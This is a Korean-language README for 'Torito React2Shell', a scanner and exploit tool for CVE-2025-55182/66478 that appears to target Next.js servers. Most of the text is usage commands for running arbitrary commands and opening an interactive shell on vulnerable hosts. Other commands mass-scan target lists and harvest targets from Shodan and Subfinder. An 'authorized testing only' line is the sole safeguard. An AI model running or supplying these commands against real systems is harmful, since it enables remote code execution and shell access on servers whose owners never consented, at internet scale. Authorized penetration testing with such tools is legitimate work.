Torito React2Shell 스캐너 및 익스플로잇 도구 (CVE-2025-55182 / 66478)

Requirements

• Python 3.9+
• pip install -r requirements.txt
• --subfinder를 위한 PATH 내 Subfinder 바이너리 (Homebrew brew install subfinder 또는 Go: go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest로 설치; 프로젝트: https://github.com/projectdiscovery/subfinder)
• Shodan 사용에는 pip install shodan이 필요하며(이미 requirements에 포함됨) 그리고 키: export SHODAN_API_KEY=... 및 사용 가능한 쿼리 크레딧이 필요합니다.

Usage

python3 torito_r2s.py --help

Flags

Examples

안전한 프로브 (단일 대상)

python3 torito_r2s.py -u https://target.com

PoC 확인 (사이드 채널 리디렉션)

python3 torito_r2s.py -u https://target.com --confirm

사용자 지정 명령어로 익스플로잇

python3 torito_r2s.py -u https://target.com --exploit-cmd "whoami"

첫 번째 적중 시 대화형 셸

python3 torito_r2s.py -u https://target.com --shell

내보내기로 목록 스캔

python3 torito_r2s.py -l hosts.txt -t 40 --confirm --json-out results.json --csv-out results.csv

Shodan 전용 (키와 크레딧 필요)

export SHODAN_API_KEY=your_key
python3 torito_r2s.py --shodan 'http.title:"Next.js"' --shodan-limit 50 --confirm

Subfinder 전용

python3 torito_r2s.py --subfinder target.com --confirm

프록시 (Burp/Caido)

python3 torito_r2s.py -u https://target.com --proxy http://127.0.0.1:8080 --confirm

stdin을 통한 파이프라인

cat urls.txt | python3 torito_r2s.py --confirm

Output notes

• 테이블은 지문(NX/AR), 프로브, 확인, 익스플로잇을 표시합니다.
• 익스플로잇 다이제스트는 가능한 경우 base64 디코딩되며, 상세 모드에서는 미리보기를 표시합니다.
• JSON/CSV에는 원시 다이제스트와 디코딩된 출력(있는 경우)이 포함됩니다.

Safety

• 승인된 테스트 전용입니다.
• 기본 실행은 비파괴 프로브이며, 익스플로잇은 --exploit-cmd 또는 --shell이 있을 때만 실행됩니다.